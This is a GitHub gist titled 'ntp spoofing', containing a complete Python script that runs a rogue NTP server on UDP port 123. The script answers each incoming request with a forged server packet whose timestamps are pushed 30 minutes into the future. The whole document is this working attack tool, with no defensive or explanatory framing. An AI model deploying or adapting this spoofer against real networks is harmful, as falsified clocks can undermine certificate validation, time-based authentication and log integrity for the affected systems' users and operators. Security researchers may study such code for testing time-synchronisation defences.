Skip to content

Instantly share code, notes, and snippets.

@tribela
Created February 5, 2016 05:52
Show Gist options
  • Save tribela/47513345a379e6738213 to your computer and use it in GitHub Desktop.
Save tribela/47513345a379e6738213 to your computer and use it in GitHub Desktop.
ntp spoofing
import datetime
import socket
import struct
packet_format = (
'!BBBB' # LI+VN+Mode, Stratum, Poll, Precision
'L' # Root delay
'L' # Root dispersion
'L' # Reference identifier
)
def timestamp_to_64bit(timestamp):
seconds, fractions = divmod(timestamp, 1.0)
return struct.pack(
'!LL',
int(seconds),
int(fractions * 0x100000000)
)
reference_timestamp = (datetime.datetime.utcnow() -
datetime.datetime(1900, 1, 1)).total_seconds()
def make_packet(received):
timestamp = (datetime.datetime.utcnow() +
datetime.timedelta(minutes=30) -
datetime.datetime(1900, 1, 1)).total_seconds()
li = 0b00
vn = 4
mode = 4 # Server
first_byte = (
(li & 0b11) << 6 |
(vn & 0b111) << 3 |
(mode & 0b111) << 0)
stratum = 3
polling = 4
precesion = 0xef
root_delay = 0x00000000
root_dispersion = 0x00000000
reference_id = 0x00000000
packet = struct.pack(
packet_format,
first_byte, stratum, polling, precesion,
root_delay, root_dispersion, reference_id,
)
received_timestamp = received[40:48]
packet += timestamp_to_64bit(reference_timestamp)
packet += received_timestamp
packet += timestamp_to_64bit(timestamp)
packet += timestamp_to_64bit(timestamp)
return packet
if __name__ == '__main__':
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 123))
while 1:
data, addr = sock.recvfrom(1024)
sock.sendto(make_packet(data), addr)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment